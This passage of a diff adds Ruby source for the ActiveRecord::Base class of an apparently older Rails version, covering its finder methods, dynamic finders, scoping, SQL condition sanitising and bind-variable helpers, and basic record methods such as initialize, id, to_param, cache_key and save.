+          logger.add(log_level, "#{title} (#{'%.1f' % (seconds * 1000)}ms)")
+          result
+        else
+          yield
+        end
+      end
+
+      # Silences the logger for the duration of the block.
+      def silence
+        old_logger_level, logger.level = logger.level, Logger::ERROR if logger
+        yield
+      ensure
+        logger.level = old_logger_level if logger
+      end
+
+      # Overwrite the default class equality method to provide support for association proxies.
+      def ===(object)
+        object.is_a?(self)
+      end
+
+      # Returns the base AR subclass that this class descends from. If A
+      # extends AR::Base, A.base_class will return A. If B descends from A
+      # through some arbitrarily deep hierarchy, B.base_class will return A.
+      def base_class
+        class_of_active_record_descendant(self)
+      end
+
+      # Set this to true if this is an abstract class (see <tt>abstract_class?</tt>).
+      attr_accessor :abstract_class
+
+      # Returns whether this class is a base AR class.  If A is a base class and
+      # B descends from A, then B.base_class will return B.
+      def abstract_class?
+        defined?(@abstract_class) && @abstract_class == true
+      end
+
+      def respond_to?(method_id, include_private = false)
+        if match = DynamicFinderMatch.match(method_id)
+          return true if all_attributes_exists?(match.attribute_names)
+        end
+        super
+      end
+
+      def sti_name
+        store_full_sti_class ? name : name.demodulize
+      end
+
+      # Merges conditions so that the result is a valid +condition+
+      def merge_conditions(*conditions)
+        segments = []
+
+        conditions.each do |condition|
+          unless condition.blank?
+            sql = sanitize_sql(condition)
+            segments << sql unless sql.blank?
+          end
+        end
+
+        "(#{segments.join(') AND (')})" unless segments.empty?
+      end
+
+      private
+        def find_initial(options)
+          options.update(:limit => 1)
+          find_every(options).first
+        end
+
+        def find_last(options)
+          order = options[:order]
+
+          if order
+            order = reverse_sql_order(order)
+          elsif !scoped?(:find, :order)
+            order = "#{table_name}.#{primary_key} DESC"
+          end
+
+          if scoped?(:find, :order)
+            scoped_order = reverse_sql_order(scope(:find, :order))
+            scoped_methods.select { |s| s[:find].update(:order => scoped_order) }
+          end
+
+          find_initial(options.merge({ :order => order }))
+        end
+
+        def reverse_sql_order(order_query)
+          reversed_query = order_query.split(/,/).each { |s|
+            if s.match(/\s(asc|ASC)$/)
+              s.gsub!(/\s(asc|ASC)$/, ' DESC')
+            elsif s.match(/\s(desc|DESC)$/)
+              s.gsub!(/\s(desc|DESC)$/, ' ASC')
+            elsif !s.match(/\s(asc|ASC|desc|DESC)$/)
+              s.concat(' DESC')
+            end
+          }.join(',')
+        end
+
+        def find_every(options)
+          include_associations = merge_includes(scope(:find, :include), options[:include])
+
+          if include_associations.any? && references_eager_loaded_tables?(options)
+            records = find_with_associations(options)
+          else
+            records = find_by_sql(construct_finder_sql(options))
+            if include_associations.any?
+              preload_associations(records, include_associations)
+            end
+          end
+
+          records.each { |record| record.readonly! } if options[:readonly]
+
+          records
+        end
+
+        def find_from_ids(ids, options)
+          expects_array = ids.first.kind_of?(Array)
+          return ids.first if expects_array && ids.first.empty?
+
+          ids = ids.flatten.compact.uniq
+
+          case ids.size
+            when 0
+              raise RecordNotFound, "Couldn't find #{name} without an ID"
+            when 1
+              result = find_one(ids.first, options)
+              expects_array ? [ result ] : result
+            else
+              find_some(ids, options)
+          end
+        end
+
+        def find_one(id, options)
+          conditions = " AND (#{sanitize_sql(options[:conditions])})" if options[:conditions]
+          options.update :conditions => "#{quoted_table_name}.#{connection.quote_column_name(primary_key)} = #{quote_value(id,columns_hash[primary_key])}#{conditions}"
+
+          # Use find_every(options).first since the primary key condition
+          # already ensures we have a single record. Using find_initial adds
+          # a superfluous :limit => 1.
+          if result = find_every(options).first
+            result
+          else
+            raise RecordNotFound, "Couldn't find #{name} with ID=#{id}#{conditions}"
+          end
+        end
+
+        def find_some(ids, options)
+          conditions = " AND (#{sanitize_sql(options[:conditions])})" if options[:conditions]
+          ids_list   = ids.map { |id| quote_value(id,columns_hash[primary_key]) }.join(',')
+          options.update :conditions => "#{quoted_table_name}.#{connection.quote_column_name(primary_key)} IN (#{ids_list})#{conditions}"
+
+          result = find_every(options)
+
+          # Determine expected size from limit and offset, not just ids.size.
+          expected_size =
+            if options[:limit] && ids.size > options[:limit]
+              options[:limit]
+            else
+              ids.size
+            end
+
+          # 11 ids with limit 3, offset 9 should give 2 results.
+          if options[:offset] && (ids.size - options[:offset] < expected_size)
+            expected_size = ids.size - options[:offset]
+          end
+
+          if result.size == expected_size
+            result
+          else
+            raise RecordNotFound, "Couldn't find all #{name.pluralize} with IDs (#{ids_list})#{conditions} (found #{result.size} results, but was looking for #{expected_size})"
+          end
+        end
+
+        # Finder methods must instantiate through this method to work with the
+        # single-table inheritance model that makes it possible to create
+        # objects of different types from the same table.
+        def instantiate(record)
+          object =
+            if subclass_name = record[inheritance_column]
+              # No type given.
+              if subclass_name.empty?
+                allocate
+
+              else
+                # Ignore type if no column is present since it was probably
+                # pulled in from a sloppy join.
+                unless columns_hash.include?(inheritance_column)
+                  allocate
+
+                else
+                  begin
+                    compute_type(subclass_name).allocate
+                  rescue NameError
+                    raise SubclassNotFound,
+                      "The single-table inheritance mechanism failed to locate the subclass: '#{record[inheritance_column]}'. " +
+                      "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " +
+                      "Please rename this column if you didn't intend it to be used for storing the inheritance class " +
+                      "or overwrite #{self.to_s}.inheritance_column to use another column for that information."
+                  end
+                end
+              end
+            else
+              allocate
+            end
+
+          object.instance_variable_set("@attributes", record)
+          object.instance_variable_set("@attributes_cache", Hash.new)
+
+          if object.respond_to_without_attributes?(:after_find)
+            object.send(:callback, :after_find)
+          end
+
+          if object.respond_to_without_attributes?(:after_initialize)
+            object.send(:callback, :after_initialize)
+          end
+
+          object
+        end
+
+        # Nest the type name in the same module as this class.
+        # Bar is "MyApp::Business::Bar" relative to MyApp::Business::Foo
+        def type_name_with_module(type_name)
+          if store_full_sti_class
+            type_name
+          else
+            (/^::/ =~ type_name) ? type_name : "#{parent.name}::#{type_name}"
+          end
+        end
+
+        def default_select(qualified)
+          if qualified
+            quoted_table_name + '.*'
+          else
+            '*'
+          end
+        end
+
+        def construct_finder_sql(options)
+          scope = scope(:find)
+          sql  = "SELECT #{options[:select] || (scope && scope[:select]) || default_select(options[:joins] || (scope && scope[:joins]))} "
+          sql << "FROM #{(scope && scope[:from]) || options[:from] || quoted_table_name} "
+
+          add_joins!(sql, options[:joins], scope)
+          add_conditions!(sql, options[:conditions], scope)
+
+          add_group!(sql, options[:group], scope)
+          add_order!(sql, options[:order], scope)
+          add_limit!(sql, options, scope)
+          add_lock!(sql, options, scope)
+
+          sql
+        end
+
+        # Merges includes so that the result is a valid +include+
+        def merge_includes(first, second)
+         (safe_to_array(first) + safe_to_array(second)).uniq
+        end
+
+        def merge_joins(*joins)
+          if joins.any?{|j| j.is_a?(String) || array_of_strings?(j) }
+            joins = joins.collect do |join|
+              join = [join] if join.is_a?(String)
+              unless array_of_strings?(join)
+                join_dependency = ActiveRecord::Associations::ClassMethods::InnerJoinDependency.new(self, join, nil)
+                join = join_dependency.join_associations.collect { |assoc| assoc.association_join }
+              end
+              join
+            end
+            joins.flatten.uniq
+          else
+            joins.collect{|j| safe_to_array(j)}.flatten.uniq
+          end
+        end
+
+        # Object#to_a is deprecated, though it does have the desired behavior
+        def safe_to_array(o)
+          case o
+          when NilClass
+            []
+          when Array
+            o
+          else
+            [o]
+          end
+        end
+
+        def array_of_strings?(o)
+          o.is_a?(Array) && o.all?{|obj| obj.is_a?(String)}
+        end
+
+        def add_order!(sql, order, scope = :auto)
+          scope = scope(:find) if :auto == scope
+          scoped_order = scope[:order] if scope
+          if order
+            sql << " ORDER BY #{order}"
+            sql << ", #{scoped_order}" if scoped_order
+          else
+            sql << " ORDER BY #{scoped_order}" if scoped_order
+          end
+        end
+
+        def add_group!(sql, group, scope = :auto)
+          if group
+            sql << " GROUP BY #{group}"
+          else
+            scope = scope(:find) if :auto == scope
+            if scope && (scoped_group = scope[:group])
+              sql << " GROUP BY #{scoped_group}"
+            end
+          end
+        end
+
+        # The optional scope argument is for the current <tt>:find</tt> scope.
+        def add_limit!(sql, options, scope = :auto)
+          scope = scope(:find) if :auto == scope
+
+          if scope
+            options[:limit] ||= scope[:limit]
+            options[:offset] ||= scope[:offset]
+          end
+
+          connection.add_limit_offset!(sql, options)
+        end
+
+        # The optional scope argument is for the current <tt>:find</tt> scope.
+        # The <tt>:lock</tt> option has precedence over a scoped <tt>:lock</tt>.
+        def add_lock!(sql, options, scope = :auto)
+          scope = scope(:find) if :auto == scope
+          options = options.reverse_merge(:lock => scope[:lock]) if scope
+          connection.add_lock!(sql, options)
+        end
+
+        # The optional scope argument is for the current <tt>:find</tt> scope.
+        def add_joins!(sql, joins, scope = :auto)
+          scope = scope(:find) if :auto == scope
+          merged_joins = scope && scope[:joins] && joins ? merge_joins(scope[:joins], joins) : (joins || scope && scope[:joins])
+          case merged_joins
+          when Symbol, Hash, Array
+            if array_of_strings?(merged_joins)
+              sql << merged_joins.join(' ') + " "
+            else
+              join_dependency = ActiveRecord::Associations::ClassMethods::InnerJoinDependency.new(self, merged_joins, nil)
+              sql << " #{join_dependency.join_associations.collect { |assoc| assoc.association_join }.join} "
+            end
+          when String
+            sql << " #{merged_joins} "
+          end
+        end
+
+        # Adds a sanitized version of +conditions+ to the +sql+ string. Note that the passed-in +sql+ string is changed.
+        # The optional scope argument is for the current <tt>:find</tt> scope.
+        def add_conditions!(sql, conditions, scope = :auto)
+          scope = scope(:find) if :auto == scope
+          conditions = [conditions]
+          conditions << scope[:conditions] if scope
+          conditions << type_condition if finder_needs_type_condition?
+          merged_conditions = merge_conditions(*conditions)
+          sql << "WHERE #{merged_conditions} " unless merged_conditions.blank?
+        end
+
+        def type_condition(table_alias=nil)
+          quoted_table_alias = self.connection.quote_table_name(table_alias || table_name)
+          quoted_inheritance_column = connection.quote_column_name(inheritance_column)
+          type_condition = subclasses.inject("#{quoted_table_alias}.#{quoted_inheritance_column} = '#{sti_name}' ") do |condition, subclass|
+            condition << "OR #{quoted_table_alias}.#{quoted_inheritance_column} = '#{subclass.sti_name}' "
+          end
+
+          " (#{type_condition}) "
+        end
+
+        # Guesses the table name, but does not decorate it with prefix and suffix information.
+        def undecorated_table_name(class_name = base_class.name)
+          table_name = class_name.to_s.demodulize.underscore
+          table_name = table_name.pluralize if pluralize_table_names
+          table_name
+        end
+
+        # Enables dynamic finders like find_by_user_name(user_name) and find_by_user_name_and_password(user_name, password) that are turned into
+        # find(:first, :conditions => ["user_name = ?", user_name]) and  find(:first, :conditions => ["user_name = ? AND password = ?", user_name, password])
+        # respectively. Also works for find(:all) by using find_all_by_amount(50) that is turned into find(:all, :conditions => ["amount = ?", 50]).
+        #
+        # It's even possible to use all the additional parameters to find. For example, the full interface for find_all_by_amount
+        # is actually find_all_by_amount(amount, options).
+        #
+        # This also enables you to initialize a record if it is not found, such as find_or_initialize_by_amount(amount)
+        # or find_or_create_by_user_and_password(user, password).
+        #
+        # Each dynamic finder or initializer/creator is also defined in the class after it is first invoked, so that future
+        # attempts to use it do not run through method_missing.
+        def method_missing(method_id, *arguments, &block)
+          if match = DynamicFinderMatch.match(method_id)
+            attribute_names = match.attribute_names
+            super unless all_attributes_exists?(attribute_names)
+            if match.finder?
+              finder = match.finder
+              bang = match.bang?
+              self.class_eval %{
+                def self.#{method_id}(*args)
+                  options = args.extract_options!
+                  attributes = construct_attributes_from_arguments([:#{attribute_names.join(',:')}], args)
+                  finder_options = { :conditions => attributes }
+                  validate_find_options(options)
+                  set_readonly_option!(options)
+
+                  #{'result = ' if bang}if options[:conditions]
+                    with_scope(:find => finder_options) do
+                      find(:#{finder}, options)
+                    end
+                  else
+                    find(:#{finder}, options.merge(finder_options))
+                  end
+                  #{'result || raise(RecordNotFound)' if bang}
+                end
+              }, __FILE__, __LINE__
+              send(method_id, *arguments)
+            elsif match.instantiator?
+              instantiator = match.instantiator
+              self.class_eval %{
+                def self.#{method_id}(*args)
+                  guard_protected_attributes = false
+
+                  if args[0].is_a?(Hash)
+                    guard_protected_attributes = true
+                    attributes = args[0].with_indifferent_access
+                    find_attributes = attributes.slice(*[:#{attribute_names.join(',:')}])
+                  else
+                    find_attributes = attributes = construct_attributes_from_arguments([:#{attribute_names.join(',:')}], args)
+                  end
+
+                  options = { :conditions => find_attributes }
+                  set_readonly_option!(options)
+
+                  record = find(:first, options)
+
+                  if record.nil?
+                    record = self.new { |r| r.send(:attributes=, attributes, guard_protected_attributes) }
+                    #{'yield(record) if block_given?'}
+                    #{'record.save' if instantiator == :create}
+                    record
+                  else
+                    record
+                  end
+                end
+              }, __FILE__, __LINE__
+              send(method_id, *arguments, &block)
+            end
+          else
+            super
+          end
+        end
+
+        def construct_attributes_from_arguments(attribute_names, arguments)
+          attributes = {}
+          attribute_names.each_with_index { |name, idx| attributes[name] = arguments[idx] }
+          attributes
+        end
+
+        # Similar in purpose to +expand_hash_conditions_for_aggregates+.
+        def expand_attribute_names_for_aggregates(attribute_names)
+          expanded_attribute_names = []
+          attribute_names.each do |attribute_name|
+            unless (aggregation = reflect_on_aggregation(attribute_name.to_sym)).nil?
+              aggregate_mapping(aggregation).each do |field_attr, aggregate_attr|
+                expanded_attribute_names << field_attr
+              end
+            else
+              expanded_attribute_names << attribute_name
+            end
+          end
+          expanded_attribute_names
+        end
+
+        def all_attributes_exists?(attribute_names)
+          attribute_names = expand_attribute_names_for_aggregates(attribute_names)
+          attribute_names.all? { |name| column_methods_hash.include?(name.to_sym) }
+        end
+
+        def attribute_condition(argument)
+          case argument
+            when nil   then "IS ?"
+            when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope then "IN (?)"
+            when Range then "BETWEEN ? AND ?"
+            else            "= ?"
+          end
+        end
+
+        # Interpret Array and Hash as conditions and anything else as an id.
+        def expand_id_conditions(id_or_conditions)
+          case id_or_conditions
+            when Array, Hash then id_or_conditions
+            else sanitize_sql(primary_key => id_or_conditions)
+          end
+        end
+
+
+        # Defines an "attribute" method (like +inheritance_column+ or
+        # +table_name+). A new (class) method will be created with the
+        # given name. If a value is specified, the new method will
+        # return that value (as a string). Otherwise, the given block
+        # will be used to compute the value of the method.
+        #
+        # The original method will be aliased, with the new name being
+        # prefixed with "original_". This allows the new method to
+        # access the original value.
+        #
+        # Example:
+        #
+        #   class A < ActiveRecord::Base
+        #     define_attr_method :primary_key, "sysid"
+        #     define_attr_method( :inheritance_column ) do
+        #       original_inheritance_column + "_id"
+        #     end
+        #   end
+        def define_attr_method(name, value=nil, &block)
+          sing = class << self; self; end
+          sing.send :alias_method, "original_#{name}", name
+          if block_given?
+            sing.send :define_method, name, &block
+          else
+            # use eval instead of a block to work around a memory leak in dev
+            # mode in fcgi
+            sing.class_eval "def #{name}; #{value.to_s.inspect}; end"
+          end
+        end
+
+      protected
+        # Scope parameters to method calls within the block.  Takes a hash of method_name => parameters hash.
+        # method_name may be <tt>:find</tt> or <tt>:create</tt>. <tt>:find</tt> parameters may include the <tt>:conditions</tt>, <tt>:joins</tt>,
+        # <tt>:include</tt>, <tt>:offset</tt>, <tt>:limit</tt>, and <tt>:readonly</tt> options. <tt>:create</tt> parameters are an attributes hash.
+        #
+        #   class Article < ActiveRecord::Base
+        #     def self.create_with_scope
+        #       with_scope(:find => { :conditions => "blog_id = 1" }, :create => { :blog_id => 1 }) do
+        #         find(1) # => SELECT * from articles WHERE blog_id = 1 AND id = 1
+        #         a = create(1)
+        #         a.blog_id # => 1
+        #       end
+        #     end
+        #   end
+        #
+        # In nested scopings, all previous parameters are overwritten by the innermost rule, with the exception of
+        # <tt>:conditions</tt> and <tt>:include</tt> options in <tt>:find</tt>, which are merged.
+        #
+        #   class Article < ActiveRecord::Base
+        #     def self.find_with_scope
+        #       with_scope(:find => { :conditions => "blog_id = 1", :limit => 1 }, :create => { :blog_id => 1 }) do
+        #         with_scope(:find => { :limit => 10 })
+        #           find(:all) # => SELECT * from articles WHERE blog_id = 1 LIMIT 10
+        #         end
+        #         with_scope(:find => { :conditions => "author_id = 3" })
+        #           find(:all) # => SELECT * from articles WHERE blog_id = 1 AND author_id = 3 LIMIT 1
+        #         end
+        #       end
+        #     end
+        #   end
+        #
+        # You can ignore any previous scopings by using the <tt>with_exclusive_scope</tt> method.
+        #
+        #   class Article < ActiveRecord::Base
+        #     def self.find_with_exclusive_scope
+        #       with_scope(:find => { :conditions => "blog_id = 1", :limit => 1 }) do
+        #         with_exclusive_scope(:find => { :limit => 10 })
+        #           find(:all) # => SELECT * from articles LIMIT 10
+        #         end
+        #       end
+        #     end
+        #   end
+        #
+        # *Note*: the +:find+ scope also has effect on update and deletion methods,
+        # like +update_all+ and +delete_all+.
+        def with_scope(method_scoping = {}, action = :merge, &block)
+          method_scoping = method_scoping.method_scoping if method_scoping.respond_to?(:method_scoping)
+
+          # Dup first and second level of hash (method and params).
+          method_scoping = method_scoping.inject({}) do |hash, (method, params)|
+            hash[method] = (params == true) ? params : params.dup
+            hash
+          end
+
+          method_scoping.assert_valid_keys([ :find, :create ])
+
+          if f = method_scoping[:find]
+            f.assert_valid_keys(VALID_FIND_OPTIONS)
+            set_readonly_option! f
+          end
+
+          # Merge scopings
+          if action == :merge && current_scoped_methods
+            method_scoping = current_scoped_methods.inject(method_scoping) do |hash, (method, params)|
+              case hash[method]
+                when Hash
+                  if method == :find
+                    (hash[method].keys + params.keys).uniq.each do |key|
+                      merge = hash[method][key] && params[key] # merge if both scopes have the same key
+                      if key == :conditions && merge
+                        hash[method][key] = merge_conditions(params[key], hash[method][key])
+                      elsif key == :include && merge
+                        hash[method][key] = merge_includes(hash[method][key], params[key]).uniq
+                      elsif key == :joins && merge
+                        hash[method][key] = merge_joins(params[key], hash[method][key])
+                      else
+                        hash[method][key] = hash[method][key] || params[key]
+                      end
+                    end
+                  else
+                    hash[method] = params.merge(hash[method])
+                  end
+                else
+                  hash[method] = params
+              end
+              hash
+            end
+          end
+
+          self.scoped_methods << method_scoping
+
+          begin
+            yield
+          ensure
+            self.scoped_methods.pop
+          end
+        end
+
+        # Works like with_scope, but discards any nested properties.
+        def with_exclusive_scope(method_scoping = {}, &block)
+          with_scope(method_scoping, :overwrite, &block)
+        end
+
+        def subclasses #:nodoc:
+          @@subclasses[self] ||= []
+          @@subclasses[self] + extra = @@subclasses[self].inject([]) {|list, subclass| list + subclass.subclasses }
+        end
+
+        # Test whether the given method and optional key are scoped.
+        def scoped?(method, key = nil) #:nodoc:
+          if current_scoped_methods && (scope = current_scoped_methods[method])
+            !key || scope.has_key?(key)
+          end
+        end
+
+        # Retrieve the scope for the given method and optional key.
+        def scope(method, key = nil) #:nodoc:
+          if current_scoped_methods && (scope = current_scoped_methods[method])
+            key ? scope[key] : scope
+          end
+        end
+
+        def scoped_methods #:nodoc:
+          Thread.current[:"#{self}_scoped_methods"] ||= []
+        end
+
+        def current_scoped_methods #:nodoc:
+          scoped_methods.last
+        end
+
+        # Returns the class type of the record using the current module as a prefix. So descendents of
+        # MyApp::Business::Account would appear as MyApp::Business::AccountSubclass.
+        def compute_type(type_name)
+          modularized_name = type_name_with_module(type_name)
+          silence_warnings do
+            begin
+              class_eval(modularized_name, __FILE__, __LINE__)
+            rescue NameError
+              class_eval(type_name, __FILE__, __LINE__)
+            end
+          end
+        end
+
+        # Returns the class descending directly from Active Record in the inheritance hierarchy.
+        def class_of_active_record_descendant(klass)
+          if klass.superclass == Base || klass.superclass.abstract_class?
+            klass
+          elsif klass.superclass.nil?
+            raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord"
+          else
+            class_of_active_record_descendant(klass.superclass)
+          end
+        end
+
+        # Returns the name of the class descending directly from Active Record in the inheritance hierarchy.
+        def class_name_of_active_record_descendant(klass) #:nodoc:
+          klass.base_class.name
+        end
+
+        # Accepts an array, hash, or string of SQL conditions and sanitizes
+        # them into a valid SQL fragment for a WHERE clause.
+        #   ["name='%s' and group_id='%s'", "foo'bar", 4]  returns  "name='foo''bar' and group_id='4'"
+        #   { :name => "foo'bar", :group_id => 4 }  returns "name='foo''bar' and group_id='4'"
+        #   "name='foo''bar' and group_id='4'" returns "name='foo''bar' and group_id='4'"
+        def sanitize_sql_for_conditions(condition)
+          return nil if condition.blank?
+
+          case condition
+            when Array; sanitize_sql_array(condition)
+            when Hash;  sanitize_sql_hash_for_conditions(condition)
+            else        condition
+          end
+        end
+        alias_method :sanitize_sql, :sanitize_sql_for_conditions
+
+        # Accepts an array, hash, or string of SQL conditions and sanitizes
+        # them into a valid SQL fragment for a SET clause.
+        #   { :name => nil, :group_id => 4 }  returns "name = NULL , group_id='4'"
+        def sanitize_sql_for_assignment(assignments)
+          case assignments
+            when Array; sanitize_sql_array(assignments)
+            when Hash;  sanitize_sql_hash_for_assignment(assignments)
+            else        assignments
+          end
+        end
+
+        def aggregate_mapping(reflection)
+          mapping = reflection.options[:mapping] || [reflection.name, reflection.name]
+          mapping.first.is_a?(Array) ? mapping : [mapping]
+        end
+
+        # Accepts a hash of SQL conditions and replaces those attributes
+        # that correspond to a +composed_of+ relationship with their expanded
+        # aggregate attribute values.
+        # Given:
+        #     class Person < ActiveRecord::Base
+        #       composed_of :address, :class_name => "Address",
+        #         :mapping => [%w(address_street street), %w(address_city city)]
+        #     end
+        # Then:
+        #     { :address => Address.new("813 abc st.", "chicago") }
+        #       # => { :address_street => "813 abc st.", :address_city => "chicago" }
+        def expand_hash_conditions_for_aggregates(attrs)
+          expanded_attrs = {}
+          attrs.each do |attr, value|
+            unless (aggregation = reflect_on_aggregation(attr.to_sym)).nil?
+              mapping = aggregate_mapping(aggregation)
+              mapping.each do |field_attr, aggregate_attr|
+                if mapping.size == 1 && !value.respond_to?(aggregate_attr)
+                  expanded_attrs[field_attr] = value
+                else
+                  expanded_attrs[field_attr] = value.send(aggregate_attr)
+                end
+              end
+            else
+              expanded_attrs[attr] = value
+            end
+          end
+          expanded_attrs
+        end
+
+        # Sanitizes a hash of attribute/value pairs into SQL conditions for a WHERE clause.
+        #   { :name => "foo'bar", :group_id => 4 }
+        #     # => "name='foo''bar' and group_id= 4"
+        #   { :status => nil, :group_id => [1,2,3] }
+        #     # => "status IS NULL and group_id IN (1,2,3)"
+        #   { :age => 13..18 }
+        #     # => "age BETWEEN 13 AND 18"
+        #   { 'other_records.id' => 7 }
+        #     # => "`other_records`.`id` = 7"
+        #   { :other_records => { :id => 7 } }
+        #     # => "`other_records`.`id` = 7"
+        # And for value objects on a composed_of relationship:
+        #   { :address => Address.new("123 abc st.", "chicago") }
+        #     # => "address_street='123 abc st.' and address_city='chicago'"
+        def sanitize_sql_hash_for_conditions(attrs, table_name = quoted_table_name)
+          attrs = expand_hash_conditions_for_aggregates(attrs)
+
+          conditions = attrs.map do |attr, value|
+            unless value.is_a?(Hash)
+              attr = attr.to_s
+
+              # Extract table name from qualified attribute names.
+              if attr.include?('.')
+                table_name, attr = attr.split('.', 2)
+                table_name = connection.quote_table_name(table_name)
+              end
+
+              "#{table_name}.#{connection.quote_column_name(attr)} #{attribute_condition(value)}"
+            else
+              sanitize_sql_hash_for_conditions(value, connection.quote_table_name(attr.to_s))
+            end
+          end.join(' AND ')
+
+          replace_bind_variables(conditions, expand_range_bind_variables(attrs.values))
+        end
+        alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions
+
+        # Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.
+        #   { :status => nil, :group_id => 1 }
+        #     # => "status = NULL , group_id = 1"
+        def sanitize_sql_hash_for_assignment(attrs)
+          attrs.map do |attr, value|
+            "#{connection.quote_column_name(attr)} = #{quote_bound_value(value)}"
+          end.join(', ')
+        end
+
+        # Accepts an array of conditions.  The array has each value
+        # sanitized and interpolated into the SQL statement.
+        #   ["name='%s' and group_id='%s'", "foo'bar", 4]  returns  "name='foo''bar' and group_id='4'"
+        def sanitize_sql_array(ary)
+          statement, *values = ary
+          if values.first.is_a?(Hash) and statement =~ /:\w+/
+            replace_named_bind_variables(statement, values.first)
+          elsif statement.include?('?')
+            replace_bind_variables(statement, values)
+          else
+            statement % values.collect { |value| connection.quote_string(value.to_s) }
+          end
+        end
+
+        alias_method :sanitize_conditions, :sanitize_sql
+
+        def replace_bind_variables(statement, values) #:nodoc:
+          raise_if_bind_arity_mismatch(statement, statement.count('?'), values.size)
+          bound = values.dup
+          statement.gsub('?') { quote_bound_value(bound.shift) }
+        end
+
+        def replace_named_bind_variables(statement, bind_vars) #:nodoc:
+          statement.gsub(/(:?):([a-zA-Z]\w*)/) do
+            if $1 == ':' # skip postgresql casts
+              $& # return the whole match
+            elsif bind_vars.include?(match = $2.to_sym)
+              quote_bound_value(bind_vars[match])
+            else
+              raise PreparedStatementInvalid, "missing value for :#{match} in #{statement}"
+            end
+          end
+        end
+
+        def expand_range_bind_variables(bind_vars) #:nodoc:
+          expanded = []
+
+          bind_vars.each do |var|
+            next if var.is_a?(Hash)
+
+            if var.is_a?(Range)
+              expanded << var.first
+              expanded << var.last
+            else
+              expanded << var
+            end
+          end
+
+          expanded
+        end
+
+        def quote_bound_value(value) #:nodoc:
+          if value.respond_to?(:map) && !value.acts_like?(:string)
+            if value.respond_to?(:empty?) && value.empty?
+              connection.quote(nil)
+            else
+              value.map { |v| connection.quote(v) }.join(',')
+            end
+          else
+            connection.quote(value)
+          end
+        end
+
+        def raise_if_bind_arity_mismatch(statement, expected, provided) #:nodoc:
+          unless expected == provided
+            raise PreparedStatementInvalid, "wrong number of bind variables (#{provided} for #{expected}) in: #{statement}"
+          end
+        end
+
+        VALID_FIND_OPTIONS = [ :conditions, :include, :joins, :limit, :offset,
+                               :order, :select, :readonly, :group, :from, :lock ]
+
+        def validate_find_options(options) #:nodoc:
+          options.assert_valid_keys(VALID_FIND_OPTIONS)
+        end
+
+        def set_readonly_option!(options) #:nodoc:
+          # Inherit :readonly from finder scope if set.  Otherwise,
+          # if :joins is not blank then :readonly defaults to true.
+          unless options.has_key?(:readonly)
+            if scoped_readonly = scope(:find, :readonly)
+              options[:readonly] = scoped_readonly
+            elsif !options[:joins].blank? && !options[:select]
+              options[:readonly] = true
+            end
+          end
+        end
+
+        def encode_quoted_value(value) #:nodoc:
+          quoted_value = connection.quote(value)
+          quoted_value = "'#{quoted_value[1..-2].gsub(/\'/, "\\\\'")}'" if quoted_value.include?("\\\'") # (for ruby mode) "
+          quoted_value
+        end
+    end
+
+    public
+      # New objects can be instantiated as either empty (pass no construction parameter) or pre-set with
+      # attributes but not yet saved (pass a hash with key names matching the associated table column names).
+      # In both instances, valid attribute keys are determined by the column names of the associated table --
+      # hence you can't have attributes that aren't part of the table columns.
+      def initialize(attributes = nil)
+        @attributes = attributes_from_column_definition
+        @attributes_cache = {}
+        @new_record = true
+        ensure_proper_type
+        self.attributes = attributes unless attributes.nil?
+        self.class.send(:scope, :create).each { |att,value| self.send("#{att}=", value) } if self.class.send(:scoped?, :create)
+        result = yield self if block_given?
+        callback(:after_initialize) if respond_to_without_attributes?(:after_initialize)
+        result
+      end
+
+      # A model instance's primary key is always available as model.id
+      # whether you name it the default 'id' or set it to something else.
+      def id
+        attr_name = self.class.primary_key
+        column = column_for_attribute(attr_name)
+
+        self.class.send(:define_read_method, :id, attr_name, column)
+        # now that the method exists, call it
+        self.send attr_name.to_sym
+
+      end
+
+      # Returns a String, which Action Pack uses for constructing an URL to this
+      # object. The default implementation returns this record's id as a String,
+      # or nil if this record's unsaved.
+      #
+      # For example, suppose that you have a Users model, and that you have a
+      # <tt>map.resources :users</tt> route. Normally, +users_path+ will
+      # construct an URI with the user object's 'id' in it:
+      #
+      #   user = User.find_by_name('Phusion')
+      #   user_path(path)  # => "/users/1"
+      #
+      # You can override +to_param+ in your model to make +users_path+ construct
+      # an URI using the user's name instead of the user's id:
+      #
+      #   class User < ActiveRecord::Base
+      #     def to_param  # overridden
+      #       name
+      #     end
+      #   end
+      #   
+      #   user = User.find_by_name('Phusion')
+      #   user_path(path)  # => "/users/Phusion"
+      def to_param
+        # We can't use alias_method here, because method 'id' optimizes itself on the fly.
+        (id = self.id) ? id.to_s : nil # Be sure to stringify the id for routes
+      end
+
+      # Returns a cache key that can be used to identify this record.
+      #
+      # ==== Examples
+      #
+      #   Product.new.cache_key     # => "products/new"
+      #   Product.find(5).cache_key # => "products/5" (updated_at not available)
+      #   Person.find(5).cache_key  # => "people/5-20071224150000" (updated_at available)
+      def cache_key
+        case
+        when new_record?
+          "#{self.class.model_name.cache_key}/new"
+        when timestamp = self[:updated_at]
+          "#{self.class.model_name.cache_key}/#{id}-#{timestamp.to_s(:number)}"
+        else
+          "#{self.class.model_name.cache_key}/#{id}"
+        end
+      end
+
+      def id_before_type_cast #:nodoc:
+        read_attribute_before_type_cast(self.class.primary_key)
+      end
+
+      def quoted_id #:nodoc:
+        quote_value(id, column_for_attribute(self.class.primary_key))
+      end
+
+      # Sets the primary ID.
+      def id=(value)
+        write_attribute(self.class.primary_key, value)
+      end
+
+      # Returns true if this object hasn't been saved yet -- that is, a record for the object doesn't exist yet.
+      def new_record?
+        defined?(@new_record) && @new_record
+      end
+
+      # :call-seq:
+      #   save(perform_validation = true)
+      #
+      # Saves the model.
+      #
+      # If the model is new a record gets created in the database, otherwise
+      # the existing record gets updated.
+      #
+      # If +perform_validation+ is true validations run. If any of them fail
+      # the action is cancelled and +save+ returns +false+. If the flag is
+      # false validations are bypassed altogether. See
+      # ActiveRecord::Validations for more information. 
+      #
+      # There's a series of callbacks associated with +save+. If any of the
+      # <tt>before_*</tt> callbacks return +false+ the action is cancelled and
+      # +save+ returns +false+. See ActiveRecord::Callbacks for further
+      # details. 
+      def save
+        create_or_update
+      end
+
+      # Saves the model.
+      #
+      # If the model is new a record gets created in the database, otherwise
+      # the existing record gets updated.
+      #
+      # With <tt>save!</tt> validations always run. If any of them fail
+      # ActiveRecord::RecordInvalid gets raised. See ActiveRecord::Validations
+      # for more information. 
